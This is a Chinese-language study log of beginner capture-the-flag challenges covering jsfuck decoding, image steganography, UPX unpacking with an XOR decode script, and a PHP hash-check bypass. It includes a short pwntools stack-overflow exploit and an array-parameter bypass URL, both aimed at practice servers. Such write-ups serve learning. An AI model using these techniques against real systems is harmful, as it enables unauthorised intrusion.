2.20学习
crypto
buu-这是什么
下载附件后打开看到是apk文件,试试直接用记事本打开,看到乱码以外,还有一堆有规律的符号,了解后发现是jsfuck编码,搜索在线工具解码就行
misc
buu-[BJDCTF2020]藏藏藏
下载附件,得到的是一个图片,没有信息,应该为图片隐写在虚拟机binwalk一下
可以看到有一个zip,进行foremost提取,得到一个zip文件和一个图片
,我们解压zip文件,得到一个文档,是二维码,将二维码另存为图片
扫描一下,得到flag
pwn
buu-jarvisoj_level0
下载附件,checksec文件,没有保护机制64位,用ida64打开
在main函数,点击f5反编译,看到了function双击查看
在function函数中看到了read函数,这里存在栈溢出
然后找到callsystem,
返回地址为0x400596
编写exp(这里的偏移量为什么是0x88还未明白,待后续)
from pwn import*
r=remote('node5.buuoj.cn',27608)
r.sendline(b'a'*(0x88)+p64(0x400596))
r.interactive()
re
nss-[SWPUCTF 2022 新生赛]upx
下载附件解压后查壳,64位,upx的壳
进行upx脱壳,进入含有upx.exe的文件夹,然后输入命令
去壳成功后得到的是No packed
然后用ida64打开这个文件,找到main函数,点击f5进行反编译
根据这段关键的代码,就是将输入的字符串v6遍历,每一个与2进行异或后与v4比对,相同就说明输入的是flag。
逆向写代码,将v4与2异或得到的就是v6
a='LQQAVDyWRZ]3q]zmpf]uc{]vm]glap{rv]dnce'
flag=''
for i in range(len(a)):
flag+=chr(ord(a[i])^2)
print(flag)
web
bugku-前女友
打开环境后看到了一段文字,没有我们需要的什么信息,也没有看到任何按钮,但是注意到说的“链接”,这个链接勾起了“php是世界上最好的语言”的回忆,所以这个链接应该是在页面中的,且是php代码,点击f12查看源代码,展开后可以看到有一个地方(在‘一个’与‘链接’的中间有其他信息),所以我们试着在这里点击试试
成功得到一个链接
这里用到我们之前学过的哈希碰撞,就得到flag
http://117.72.52.127:13324/?v1[]=1&v2[]=2&v3[]=1